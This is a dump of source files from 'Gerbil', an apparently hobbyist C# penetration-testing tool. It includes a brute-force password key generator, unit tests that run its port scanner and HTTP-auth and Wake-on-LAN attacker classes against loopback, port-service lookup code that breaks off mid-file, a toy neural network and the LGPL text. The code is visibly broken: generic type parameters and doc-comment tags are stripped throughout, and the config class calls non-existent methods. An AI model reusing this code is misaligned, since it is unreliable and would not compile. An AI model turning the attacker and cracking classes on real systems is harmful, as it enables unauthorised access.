45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 | {be0426cd-233d-48a0-86bd-c5f186abf6d5}
59 | Gerbil
60 |
61 |
62 |
63 |
64 |
65 |
66 | False
67 |
68 |
69 | False
70 |
71 |
72 | False
73 |
74 |
75 | False
76 |
77 |
78 |
79 |
80 |
81 |
82 |
89 |
--------------------------------------------------------------------------------
/GerbilTest/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("GerbilTest")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("GerbilTest")]
13 | [assembly: AssemblyCopyright("Copyright © 2015")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("dc45ba19-8867-4cbf-9f2b-62dab6c0aa78")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/GerbilTest/UnitTest1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | //using System.Windows.Forms;
5 | using Microsoft.VisualStudio.TestTools.UnitTesting;
6 | using Gerbil;
7 |
8 | namespace GerbilTest
9 | {
10 | [TestClass]
11 | public class UnitTest1
12 | {
13 | [TestMethod]
14 | public void TestNeuralNet()
15 | {
16 | Gerbil.NeuralNetwork.Network net = new Gerbil.NeuralNetwork.Network();
17 | net.addInput("test");
18 | net.addNode("itest", "ctest", 1, "test");
19 | net.addOutput("testout", "ctest2", 1, "itest");
20 | net.fireInput("test");
21 | float testVal;
22 | Assert.IsTrue(net.getResults().TryGetValue("testout", out testVal));
23 | Assert.IsNotNull(testVal);
24 | }
25 | [TestMethod]
26 | public void TestServiceInit()
27 | {
28 | Gerbil.Gerbil_PortServices.PortLookup.initServices();
29 | int[] testPorts = { 80 };
30 | Assert.AreEqual(Gerbil.Gerbil_PortServices.PortLookup.getServices(testPorts)[0], "HTTP");
31 | Gerbil.Gerbil_PortServices.PortLookup.createService("TestService", 5000);
32 | Gerbil.Gerbil_PortServices.PortLookup.removeService("TestService", 5000);
33 | Gerbil.Gerbil_PortServices.PortLookup.launch("add", "TestService", "5000");
34 | Gerbil.Gerbil_PortServices.PortLookup.launch("remove", "TestService", "5000");
35 | Assert.IsNotNull(Gerbil.Gerbil_PortServices.PortLookup.getPorts());
36 | }
37 | [TestMethod]
38 | public void TestDatabaseService()
39 | {
40 | Gerbil.Data.Database db = new Gerbil.Data.Database("Test DB");
41 | db.Create(1);
42 | Assert.AreEqual(db.itemcount, 1);
43 | Assert.AreEqual(db.Read(db.getAllIDs()[0]), 1);
44 | db.Update(db.getAllIDs()[0], 2);
45 | db.Delete(db.getAllIDs()[0]);
46 | }
47 | [TestMethod]
48 | public void TestScanners()
49 | {
50 | IPAddress me = IPAddress.Loopback;
51 | Gerbil.AttackMethods.begin(me.ToString(), 85, 1000);
52 | Gerbil.AttackMethods.begin(me.ToString(), 85, 87, 1000);
53 | }
54 | //[TestMethod]
55 | //public void TestGUI()
56 | //{
57 | // Gerbil.GerbilGui gui = new GerbilGui();
58 | //}
59 | [TestMethod]
60 | public void TestEngine()
61 | {
62 | string filepath = Path.Combine(Environment.ExpandEnvironmentVariables("%userprofile%"), "Documents", "Gerbil", "memstore", "OSServiceTraining.ini");
63 | string[] filecontents = { "RDP=Windows", "SSH=Linux", "HTTP=Windows" };
64 | string[] services = { "HTTP", "RDP" };
65 | System.IO.File.WriteAllLines(filepath, filecontents);
66 | Gerbil.Gerbil_Engine.GerbilRunner.guessOS(services, false);
67 | Gerbil.Gerbil_Engine.GerbilRunner.guessHTTPService();
68 | }
69 | [TestMethod]
70 | public void TestAttackers()
71 | {
72 | Gerbil.Attackers.Attacker a = new Gerbil.Attackers.Attacker();
73 | a.init();
74 | a.stab();
75 | a.clean();
76 | try
77 | {
78 | new Gerbil.Attackers.HTTPAuthAttacker(IPAddress.Loopback.ToString(), 1).stab();
79 | }
80 | catch
81 | {
82 | // This is just to make the test not fail
83 | }
84 | new Gerbil.Attackers.WoLAttacker("00:00:00:00:00:00").stab();
85 | }
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/Gerbil_Config.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace Gerbil
4 | {
5 | class Gerbil_Config
6 | {
7 | Dictionary configStore;
8 |
9 | public Gerbil_Config()
10 | {
11 | configStore = new Dictionary();
12 | }
13 | public void loadConfig(string filepath)
14 | {
15 | string[] lines = System.IO.File.ReadAllLines(filepath);
16 | foreach(string line in lines)
17 | {
18 | string[] args = line.split("=");
19 | configStore.Add(args[0], args[1]);
20 | }
21 | }
22 | public void reloadConfig(string filepath)
23 | {
24 | string[] lines = System.IO.File.ReadAllLines(filepath);
25 | foreach(string line in lines)
26 | {
27 | string[] args = line.split("=");
28 | if(configStore.ContainsKey(args[0]))
29 | {
30 | configStore[args[0]] = args[1];
31 | }
32 | else
33 | {
34 | configStore.Add(args[0], args[1]);
35 | }
36 | }
37 | }
38 | public void commitConfig(string filepath)
39 | {
40 | List tempFile = new List();
41 | foreach(KeyValuePair sets in configStore)
42 | {
43 | tempFile.add(sets.Key + "=" + sets.Value);
44 | }
45 | //TODO: commit tempFile to actual settings file
46 | this.reloadConfig(filepath);
47 | }
48 | public string getField(string id)
49 | {
50 | if(configStore.ContainsKey(id))
51 | {
52 | return configStore[id];
53 | }
54 | return "default";
55 | }
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/IO.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net.NetworkInformation;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace Gerbil
9 | {
10 | namespace IO
11 | {
12 | class Out
13 | {
14 | ///
15 | /// Writes a line of text to the CLI.
16 | ///
17 | /// Text to write.
18 | public static void writeln(string input)
19 | {
20 | write(input + "\n");
21 | }
22 | ///
23 | /// Writes a string of text to the CLI.
24 | ///
25 | /// Text to write.
26 | public static void write(string input)
27 | {
28 | Console.Write(input);
29 | }
30 | ///
31 | /// Writes a blank line to the CLI.
32 | ///
33 | public static void blank()
34 | {
35 | write("\n");
36 | }
37 | ///
38 | /// Writes a number of blank lines to the CLI.
39 | ///
40 | /// Blank lines to insert.
41 | public static void blank(int iterations)
42 | {
43 | for (int i = 0; i < iterations; i++)
44 | {
45 | blank();
46 | }
47 | }
48 | ///
49 | /// Prints a formatted menu to the CLI.
50 | ///
51 | /// Title of menu.
52 | /// List of options to display.
53 | public static void printMenu(string title, params string[] options)
54 | {
55 | writeln(title);
56 | for (int i = 0; i < options.Length; i++)
57 | {
58 | writeln(i + " - " + options[i]);
59 | }
60 | }
61 | }
62 | class In
63 | {
64 | ///
65 | /// Prompts the user for input using a formatted graphical menu.
66 | ///
67 | /// Title of menu.
68 | /// List of options to display.
69 | /// Zero-indexed choice selected by user. (-1 if none)
70 | public static int menu(string title, params string[] options)
71 | {
72 | Out.printMenu(title, options);
73 | Out.writeln("-1 to cancel.");
74 | int result = 0;
75 | while (true)
76 | {
77 | result = prompt("Option");
78 | if(result >= -1 && result < options.Length)
79 | {
80 | return result;
81 | }
82 | Out.writeln("Invalid input, enter a valid menu choice.");
83 | }
84 | }
85 | ///
86 | /// Prompts the user for input.
87 | ///
88 | /// Type of variable to return.
89 | /// Prompt to display to user.
90 | /// Input value by user.
91 | public static T prompt(string prompt)
92 | {
93 | return prompt(prompt, ':');
94 | }
95 | ///
96 | /// Prompts the user for input.
97 | ///
98 | /// Type of variable to return.
99 | /// Prompt to display to user.
100 | /// Prompt char to display.
101 | /// Input value by user.
102 | public static T prompt(string prompt, char promptKey)
103 | {
104 | while (true)
105 | {
106 | Out.write(prompt + promptKey + " ");
107 | string inval = Console.ReadLine();
108 | try
109 | {
110 | T store = (T)Convert.ChangeType(inval, typeof(T));
111 | return store;
112 | }
113 | catch
114 | {
115 | Out.writeln("Invalid input. Please enter a valid input.");
116 | }
117 | }
118 | }
119 | ///
120 | /// Prompts the user to perfom a dangerous or uncertain task.
121 | ///
122 | /// Name of module seeking permission.
123 | /// Action being taken by the module.
124 | /// Action allowed.
125 | public static bool securePrompt(string module, string action)
126 | {
127 | Out.writeln(String.Format("GERBIL SECURITY: Module {0} is attempting to {1}.", module, action));
128 | int result = menu("Allow action?", "Yes", "No");
129 | if(result == 0)
130 | {
131 | return true;
132 | }
133 | else
134 | {
135 | return false;
136 | }
137 | }
138 | }
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU LESSER GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 |
9 | This version of the GNU Lesser General Public License incorporates
10 | the terms and conditions of version 3 of the GNU General Public
11 | License, supplemented by the additional permissions listed below.
12 |
13 | 0. Additional Definitions.
14 |
15 | As used herein, "this License" refers to version 3 of the GNU Lesser
16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU
17 | General Public License.
18 |
19 | "The Library" refers to a covered work governed by this License,
20 | other than an Application or a Combined Work as defined below.
21 |
22 | An "Application" is any work that makes use of an interface provided
23 | by the Library, but which is not otherwise based on the Library.
24 | Defining a subclass of a class defined by the Library is deemed a mode
25 | of using an interface provided by the Library.
26 |
27 | A "Combined Work" is a work produced by combining or linking an
28 | Application with the Library. The particular version of the Library
29 | with which the Combined Work was made is also called the "Linked
30 | Version".
31 |
32 | The "Minimal Corresponding Source" for a Combined Work means the
33 | Corresponding Source for the Combined Work, excluding any source code
34 | for portions of the Combined Work that, considered in isolation, are
35 | based on the Application, and not on the Linked Version.
36 |
37 | The "Corresponding Application Code" for a Combined Work means the
38 | object code and/or source code for the Application, including any data
39 | and utility programs needed for reproducing the Combined Work from the
40 | Application, but excluding the System Libraries of the Combined Work.
41 |
42 | 1. Exception to Section 3 of the GNU GPL.
43 |
44 | You may convey a covered work under sections 3 and 4 of this License
45 | without being bound by section 3 of the GNU GPL.
46 |
47 | 2. Conveying Modified Versions.
48 |
49 | If you modify a copy of the Library, and, in your modifications, a
50 | facility refers to a function or data to be supplied by an Application
51 | that uses the facility (other than as an argument passed when the
52 | facility is invoked), then you may convey a copy of the modified
53 | version:
54 |
55 | a) under this License, provided that you make a good faith effort to
56 | ensure that, in the event an Application does not supply the
57 | function or data, the facility still operates, and performs
58 | whatever part of its purpose remains meaningful, or
59 |
60 | b) under the GNU GPL, with none of the additional permissions of
61 | this License applicable to that copy.
62 |
63 | 3. Object Code Incorporating Material from Library Header Files.
64 |
65 | The object code form of an Application may incorporate material from
66 | a header file that is part of the Library. You may convey such object
67 | code under terms of your choice, provided that, if the incorporated
68 | material is not limited to numerical parameters, data structure
69 | layouts and accessors, or small macros, inline functions and templates
70 | (ten or fewer lines in length), you do both of the following:
71 |
72 | a) Give prominent notice with each copy of the object code that the
73 | Library is used in it and that the Library and its use are
74 | covered by this License.
75 |
76 | b) Accompany the object code with a copy of the GNU GPL and this license
77 | document.
78 |
79 | 4. Combined Works.
80 |
81 | You may convey a Combined Work under terms of your choice that,
82 | taken together, effectively do not restrict modification of the
83 | portions of the Library contained in the Combined Work and reverse
84 | engineering for debugging such modifications, if you also do each of
85 | the following:
86 |
87 | a) Give prominent notice with each copy of the Combined Work that
88 | the Library is used in it and that the Library and its use are
89 | covered by this License.
90 |
91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license
92 | document.
93 |
94 | c) For a Combined Work that displays copyright notices during
95 | execution, include the copyright notice for the Library among
96 | these notices, as well as a reference directing the user to the
97 | copies of the GNU GPL and this license document.
98 |
99 | d) Do one of the following:
100 |
101 | 0) Convey the Minimal Corresponding Source under the terms of this
102 | License, and the Corresponding Application Code in a form
103 | suitable for, and under terms that permit, the user to
104 | recombine or relink the Application with a modified version of
105 | the Linked Version to produce a modified Combined Work, in the
106 | manner specified by section 6 of the GNU GPL for conveying
107 | Corresponding Source.
108 |
109 | 1) Use a suitable shared library mechanism for linking with the
110 | Library. A suitable mechanism is one that (a) uses at run time
111 | a copy of the Library already present on the user's computer
112 | system, and (b) will operate properly with a modified version
113 | of the Library that is interface-compatible with the Linked
114 | Version.
115 |
116 | e) Provide Installation Information, but only if you would otherwise
117 | be required to provide such information under section 6 of the
118 | GNU GPL, and only to the extent that such information is
119 | necessary to install and execute a modified version of the
120 | Combined Work produced by recombining or relinking the
121 | Application with a modified version of the Linked Version. (If
122 | you use option 4d0, the Installation Information must accompany
123 | the Minimal Corresponding Source and Corresponding Application
124 | Code. If you use option 4d1, you must provide the Installation
125 | Information in the manner specified by section 6 of the GNU GPL
126 | for conveying Corresponding Source.)
127 |
128 | 5. Combined Libraries.
129 |
130 | You may place library facilities that are a work based on the
131 | Library side by side in a single library together with other library
132 | facilities that are not Applications and are not covered by this
133 | License, and convey such a combined library under terms of your
134 | choice, if you do both of the following:
135 |
136 | a) Accompany the combined library with a copy of the same work based
137 | on the Library, uncombined with any other library facilities,
138 | conveyed under the terms of this License.
139 |
140 | b) Give prominent notice with the combined library that part of it
141 | is a work based on the Library, and explaining where to find the
142 | accompanying uncombined form of the same work.
143 |
144 | 6. Revised Versions of the GNU Lesser General Public License.
145 |
146 | The Free Software Foundation may publish revised and/or new versions
147 | of the GNU Lesser General Public License from time to time. Such new
148 | versions will be similar in spirit to the present version, but may
149 | differ in detail to address new problems or concerns.
150 |
151 | Each version is given a distinguishing version number. If the
152 | Library as you received it specifies that a certain numbered version
153 | of the GNU Lesser General Public License "or any later version"
154 | applies to it, you have the option of following the terms and
155 | conditions either of that published version or of any later version
156 | published by the Free Software Foundation. If the Library as you
157 | received it does not specify a version number of the GNU Lesser
158 | General Public License, you may choose any version of the GNU Lesser
159 | General Public License ever published by the Free Software Foundation.
160 |
161 | If the Library as you received it specifies that a proxy can decide
162 | whether future versions of the GNU Lesser General Public License shall
163 | apply, that proxy's public statement of acceptance of any version is
164 | permanent authorization for you to choose that version for the
165 | Library.
166 |
167 |
--------------------------------------------------------------------------------
/NeuralNetwork.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 |
4 | namespace Gerbil
5 | {
6 | namespace NeuralNetwork
7 | {
8 | ///
9 | /// Base class for network nodes.
10 | ///
11 | class Node
12 | {
13 | public delegate void NodeFiredHandler(object sender, NetPathEventArgs e);
14 | public event NodeFiredHandler Fired;
15 |
16 | private string nodeName;
17 |
18 | ///
19 | /// Constructor method for Node class.
20 | ///
21 | public Node()
22 | {
23 | nodeName = "";
24 | }
25 | ///
26 | /// Constructor method for Node class
27 | ///
28 | /// Name of node
29 | public Node(string nName)
30 | {
31 | nodeName = nName;
32 | }
33 | ///
34 | /// Constructor method for Node class.
35 | ///
36 | /// Name of node
37 | /// Pointer to a list of active network connections
38 | /// Name of connector to trigger new node
39 | public Node(string nName, ref Dictionary input, string connectorSelector)
40 | {
41 | nodeName = nName;
42 | input[connectorSelector].Fired += new Connection.ConnectionFiredHandler(Fire);
43 | }
44 | ///
45 | /// Event handler for Node object.
46 | ///
47 | /// Sender the fired the event (Type:InputNode)
48 | /// EventArg carrying fire value
49 | public virtual void Fire(object sender, NetPathEventArgs e)
50 | {
51 | Fired(sender, e);
52 | }
53 | ///
54 | /// Gets the name of the specified node
55 | ///
56 | /// Name of referenced node
57 | public string getName()
58 | {
59 | return nodeName;
60 | }
61 | ///
62 | /// Gets the name of the specified node
63 | ///
64 | /// Node to examine
65 | /// Name of referenced node
66 | public static string getName(Node nd)
67 | {
68 | return nd.getName();
69 | }
70 | ///
71 | /// Adds a connector fire event to the specified node
72 | ///
73 | /// Pointer to list of active connection list
74 | /// Name of connector to bind to Fired() event
75 | public void addConnection(ref Dictionary input, string connectorSelector)
76 | {
77 | input[connectorSelector].Fired += new Connection.ConnectionFiredHandler(Fire);
78 | }
79 | }
80 | ///
81 | /// Node that does not recieve input, but can be fired using an outside method call.
82 | ///
83 | class InputNode : Node
84 | {
85 | ///
86 | /// Constructor class for InputNode
87 | ///
88 | public InputNode()
89 | : base()
90 | {
91 |
92 | }
93 | ///
94 | /// Constructor class for InputNode
95 | ///
96 | /// Name of node to create
97 | public InputNode(string nName)
98 | : base(nName)
99 | {
100 |
101 | }
102 | ///
103 | /// Trigger to fire an event through the neural network.
104 | ///
105 | public void Fire()
106 | {
107 | NetPathEventArgs e = new NetPathEventArgs();
108 | e.value = 1.0f;
109 | e.tag = new Random().Next(100000000, 999999999).ToString();
110 | base.Fire(this, e);
111 | }
112 | }
113 | ///
114 | /// Node that stores its value and cannot be tagged as an input to another connection.
115 | ///
116 | class OutputNode : Node
117 | {
118 | private float result;
119 |
120 | ///
121 | /// Constructor for OutputNode class
122 | ///
123 | /// Name of node to create
124 | /// Pointer to list of active connections in the network
125 | /// Name of connection to bind to Fired() event
126 | public OutputNode(string nName, ref Dictionary input, string connectorSelector)
127 | : base(nName, ref input, connectorSelector)
128 | {
129 | result = 1.0f;
130 | }
131 | ///
132 | /// Event handler for Fired() event. Stores input value.
133 | ///
134 | /// Event trigger
135 | /// EventArg containing neural trigger value
136 | public override void Fire(object sender, NetPathEventArgs e)
137 | {
138 | result += (e.value + 1);
139 | }
140 | ///
141 | /// Gets value of OutputNode
142 | ///
143 | /// Value of node
144 | public float getResult()
145 | {
146 | return result;
147 | }
148 | }
149 | ///
150 | /// Node that holds its value for checkpoint lookups
151 | ///
152 | class CheckpointNode : Node
153 | {
154 | private float result;
155 |
156 | ///
157 | /// Constructor for CheckpointNode class
158 | ///
159 | /// Name of node
160 | /// Pointer to list of active connections in network
161 | /// Name of connector to bind Fired() event to
162 | public CheckpointNode(string nName, ref Dictionary input, string connectorSelector)
163 | : base(nName, ref input, connectorSelector)
164 | {
165 | result = 1.0f;
166 | }
167 | ///
168 | /// Event handler for Connection Fired() event
169 | ///
170 | /// InputNode event sender
171 | /// Tag containing neural value
172 | public override void Fire(object sender, NetPathEventArgs e)
173 | {
174 | result += (e.value + 1);
175 | base.Fire(sender, e);
176 | }
177 | ///
178 | /// Get checkpoint value of node
179 | ///
180 | /// Value of node
181 | public float getResult()
182 | {
183 | return result;
184 | }
185 | }
186 | ///
187 | /// Connector to bind two nodes together
188 | ///
189 | class Connection
190 | {
191 | public delegate void ConnectionFiredHandler(object sender, NetPathEventArgs e);
192 | public event ConnectionFiredHandler Fired;
193 |
194 | ///
195 | /// Holds weight to be applied to EventArg tag
196 | ///
197 | public float Weight
198 | {
199 | get
200 | {
201 | return weight;
202 | }
203 | set
204 | {
205 | if (verifyWeight(value))
206 | {
207 | weight = value;
208 | }
209 | }
210 | }
211 | private float weight;
212 |
213 | ///
214 | /// Constructor for Connection class
215 | ///
216 | /// Weight of connection
217 | /// Node output Fire() event to bind to
218 | public Connection(float cWeight, ref Node input)
219 | {
220 | input.Fired += new Node.NodeFiredHandler(Fire);
221 | Weight = cWeight;
222 | }
223 | ///
224 | /// Constructor for Connection class
225 | ///
226 | /// Weight of connection
227 | /// Pointer to list of active nodes
228 | /// Name of node to bind Fire() output event to
229 | public Connection(float cWeight, ref Dictionary input, string nodeSelector)
230 | {
231 | input[nodeSelector].Fired += new Node.NodeFiredHandler(Fire);
232 | Weight = cWeight;
233 | }
234 | ///
235 | /// Constructor for Connection class
236 | ///
237 | /// Weight of connection
238 | /// Pointer to list of active nodes
239 | /// Name of InputNode to bind Fire() output event to
240 | public Connection(float cWeight, ref Dictionary input, string nodeSelector)
241 | {
242 | input[nodeSelector].Fired += new Node.NodeFiredHandler(Fire);
243 | Weight = cWeight;
244 | }
245 | ///
246 | /// Event handler on node Fire()
247 | ///
248 | /// InputNode sender
249 | /// Tag containing neural value
250 | public void Fire(object sender, NetPathEventArgs e)
251 | {
252 | e.value = e.value * (Weight + 1);
253 | Fired(sender, e);
254 | }
255 | ///
256 | /// Verifies input weight of a Connection
257 | ///
258 | /// Input weight
259 | /// Weight is valid
260 | public static bool verifyWeight(float input)
261 | {
262 | if (input.GetType() == typeof(float) && input >= 0.0f)
263 | {
264 | return true;
265 | }
266 | else
267 | {
268 | return false;
269 | }
270 | }
271 | }
272 | ///
273 | /// Neural fire tag class
274 | ///
275 | class NetPathEventArgs : EventArgs
276 | {
277 | public float value { get; set; }
278 | public string tag { get; set; }
279 | }
280 | ///
281 | /// Base network class
282 | ///
283 | public class Network
284 | {
285 | public static Random rd = new Random();
286 |
287 | private Dictionary nodes;
288 | private Dictionary inputs;
289 | private Dictionary outputs;
290 | private Dictionary connectors;
291 |
292 | ///
293 | /// Constructor for Network class
294 | ///
295 | public Network()
296 | {
297 | nodes = new Dictionary();
298 | inputs = new Dictionary();
299 | outputs = new Dictionary();
300 | connectors = new Dictionary();
301 | }
302 | ///
303 | /// Adds a node to the network
304 | ///
305 | /// Name of node to add
306 | /// Name of connector to connect to node
307 | /// Weight of connector
308 | /// Node feeding into connector/node
309 | public void addNode(string nName, string cName, float weight, string inNode)
310 | {
311 | string cName2 = addConnector(cName, weight, inNode);
312 | nodes.Add(nName, new Node(nName, ref connectors, cName2));
313 | }
314 | ///
315 | /// Adds a connector to the network
316 | ///
317 | /// Name of connector to add
318 | /// Weight of connector
319 | /// Node feeding into connector
320 | /// Name of connector created
321 | public string addConnector(string cName, float weight, string inNode)
322 | {
323 | string rcName = cName;
324 | if (connectors.ContainsKey(cName))
325 | {
326 | rcName = rcName + rd.Next(100000, 999999).ToString();
327 | }
328 | if (inputs.ContainsKey(inNode))
329 | {
330 | connectors.Add(rcName, new Connection(weight, ref inputs, inNode));
331 | }
332 | else if (nodes.ContainsKey(inNode))
333 | {
334 | connectors.Add(rcName, new Connection(weight, ref nodes, inNode));
335 | }
336 | else
337 | {
338 | throw new NodeNotFoundException();
339 | }
340 | return rcName;
341 | }
342 | ///
343 | /// Adds an output node to the network
344 | ///
345 | /// Name of output node
346 | /// Name of connector
347 | /// Weight of connector
348 | /// Name of node to bind connector/node to
349 | public void addOutput(string oName, string cName, float weight, string inNode)
350 | {
351 | string rcName = addConnector(cName, weight, inNode);
352 | if (!outputs.ContainsKey(oName))
353 | {
354 | outputs.Add(oName, new OutputNode(oName, ref connectors, rcName));
355 | }
356 | else
357 | {
358 | outputs[oName].addConnection(ref connectors, rcName);
359 | }
360 | }
361 | ///
362 | /// Adds an InputNode to the network
363 | ///
364 | /// Name of node to create
365 | public void addInput(string name)
366 | {
367 | if (inputs.ContainsKey(name))
368 | {
369 | // Do nothing, input key already exists
370 | }
371 | else
372 | {
373 | inputs.Add(name, new InputNode(name));
374 | }
375 | }
376 | ///
377 | /// Gets the results of a neural network computation
378 | ///
379 | /// List of values of all OutputNodes
380 | public Dictionary getResults()
381 | {
382 | if (inputs.Count == 0 || outputs.Count == 0)
383 | {
384 | throw new EmptyNodeGroupException();
385 | }
386 | Dictionary results = new Dictionary();
387 | foreach (KeyValuePair i in outputs)
388 | {
389 | results.Add(i.Key, i.Value.getResult());
390 | }
391 | return results;
392 | }
393 | ///
394 | /// Trigger to start a neural computation
395 | ///
396 | /// Name of InputNode to fire
397 | public void fireInput(string fireNode)
398 | {
399 | if (inputs.Count == 0 || outputs.Count == 0)
400 | {
401 | throw new EmptyNodeGroupException();
402 | }
403 | if (inputs.ContainsKey(fireNode))
404 | {
405 | inputs[fireNode].Fire();
406 | }
407 | else
408 | {
409 | throw new NodeNotFoundException();
410 | }
411 | }
412 | }
413 | ///
414 | /// Exception type for missing node parameter
415 | ///
416 | class NodeNotFoundException : Exception
417 | {
418 |
419 | }
420 | ///
421 | /// Exception for performing operator on empty node group
422 | ///
423 | class EmptyNodeGroupException : Exception
424 | {
425 |
426 | }
427 | }
428 | }
429 |
--------------------------------------------------------------------------------
/PasswordServices.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 | using System.Net;
7 |
8 | namespace Gerbil
9 | {
10 | namespace PasswordServices
11 | {
12 | public class SimplePasswordCracker
13 | {
14 | private int charCtr = 31;
15 | private int maxCrackLength;
16 | private char[] passwordStorage = new char[1];
17 | public SimplePasswordCracker(int maxLength)
18 | {
19 | // Default constructor
20 | passwordStorage[0] = (char)31;
21 | maxCrackLength = maxLength;
22 | }
23 | public string getNextKey()
24 | {
25 | increment();
26 | if (passwordStorage.Length > maxCrackLength)
27 | {
28 | throw new PasswordTableExhaustedException();
29 | }
30 | string result = "";
31 | foreach (char i in passwordStorage)
32 | {
33 | result += i;
34 | }
35 | return result;
36 | }
37 | private void increment()
38 | {
39 | charCtr = (char)((int)charCtr + 1);
40 | passwordStorage[passwordStorage.Length - 1] = (char)charCtr;
41 | for (int i = passwordStorage.Length - 1; i >= 0; i--)
42 | {
43 | if ((int)passwordStorage[i] > 126)
44 | {
45 | passwordStorage[i] = (char)32;
46 | if (i > 0)
47 | {
48 | passwordStorage[i - 1] = (char)((int)passwordStorage[i - 1] + 1);
49 | }
50 | else
51 | {
52 | extendStringLength();
53 | }
54 | }
55 | }
56 | }
57 | private void extendStringLength()
58 | {
59 | passwordStorage = new char[passwordStorage.Length + 1];
60 | for (int i = 0; i < passwordStorage.Length; i++)
61 | {
62 | passwordStorage[i] = (char)(32);
63 | }
64 | }
65 | }
66 | public class PasswordTableExhaustedException : Exception
67 | {
68 |
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/PortServices.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 | using System.IO;
7 |
8 | namespace Gerbil
9 | {
10 | namespace Gerbil_PortServices
11 | {
12 | public class PortLookup
13 | {
14 | ///
15 | /// Gets services found on specified active ports.
16 | ///
17 | /// Ports to look up.
18 | /// List of known services.
19 | public static string[] getServices(int[] ports)
20 | {
21 | List services = new List();
22 | for (int i = 0; i < ports.Length; i++ )
23 | {
24 | // Look up available services on port
25 | if (Directory.Exists(Path.Combine(Environment.ExpandEnvironmentVariables("%userprofile%"), "Documents", "Gerbil", "memstore", "ports", "services") + @"\" + ports[i]))
26 | {
27 | //Records were found, retrieve the service names
28 | string[] temp = Directory.GetFiles(Path.Combine(Environment.ExpandEnvironmentVariables("%userprofile%"), "Documents", "Gerbil", "memstore", "ports", "services") + @"\" + ports[i]);
29 | foreach(string j in temp)
30 | {
31 | services.Add(Path.GetFileNameWithoutExtension(j));
32 | }
33 | }
34 | }
35 | return services.ToArray();
36 | }
37 | public static int[] getPorts()
38 | {
39 | /**DEBUGBLOCK
40 | List ports = new List(Directory.EnumerateDirectories(Environment.ExpandEnvironmentVariables("%userprofile%") + @"\Documents\Gerbil\memstore\ports\services"));
41 | */
42 | List foundPorts = new List();
43 | /** DEBUGBLOCK (CONTINUED)
44 | foreach(string i in ports)
45 | {
46 | foundPorts.Add(Convert.ToInt32(Path.GetDirectoryName(i)));
47 |
48 | }*/
49 | ////////////////
50 | // DEBUG STUB //
51 | foundPorts.Add(7);
52 | foundPorts.Add(9);
53 | foundPorts.Add(17);
54 | foundPorts.Add(20);
55 | foundPorts.Add(21);
56 | foundPorts.Add(22);
57 | foundPorts.Add(23);
58 | foundPorts.Add(25);
59 | foundPorts.Add(42);
60 | foundPorts.Add(43);
61 | foundPorts.Add(53);
62 | foundPorts.Add(67);
63 | foundPorts.Add(68);
64 | foundPorts.Add(69);
65 | foundPorts.Add(80);
66 | foundPorts.Add(81);
67 | foundPorts.Add(110);
68 | foundPorts.Add(113);
69 | foundPorts.Add(123);
70 | foundPorts.Add(137);
71 | foundPorts.Add(138);
72 | foundPorts.Add(139);
73 | foundPorts.Add(143);
74 | foundPorts.Add(156);
75 | foundPorts.Add(161);
76 | foundPorts.Add(162);
77 | ////////////////
78 | return foundPorts.ToArray();
79 | }
80 | ///
81 | /// Adds a service to the known services dictionary.
82 | ///
83 | /// Name of service.
84 | /// Port used by service.
85 | public static void createService(string serviceName, int portNumber)
86 | {
87 | Directory.CreateDirectory(Path.Combine(Environment.ExpandEnvironmentVariables("%userprofile%"), "Documents", "Gerbil", "memstore", "ports", "services", portNumber.ToString()));
88 | File.WriteAllText(Path.Combine(Environment.ExpandEnvironmentVariables("%userprofile%"), "Documents", "Gerbil", "memstore", "ports", "services", portNumber.ToString()) + @"\" + serviceName + ".gerbil", "version=0.1");
89 | }
90 | ///
91 | /// Removes a service from the known service dictionary.
92 | ///
93 | /// Name of service.
94 | /// Port used by service.
95 | public static void removeService(string serviceName, int portNumber)
96 | {
97 | try
98 | {
99 | File.Delete(Path.Combine(Environment.ExpandEnvironmentVariables("%userprofile%"), "Documents", "Gerbil", "memstore", "ports", "services", portNumber.ToString()) + @"\" + serviceName + ".gerbil");
100 | }
101 | catch
102 | {
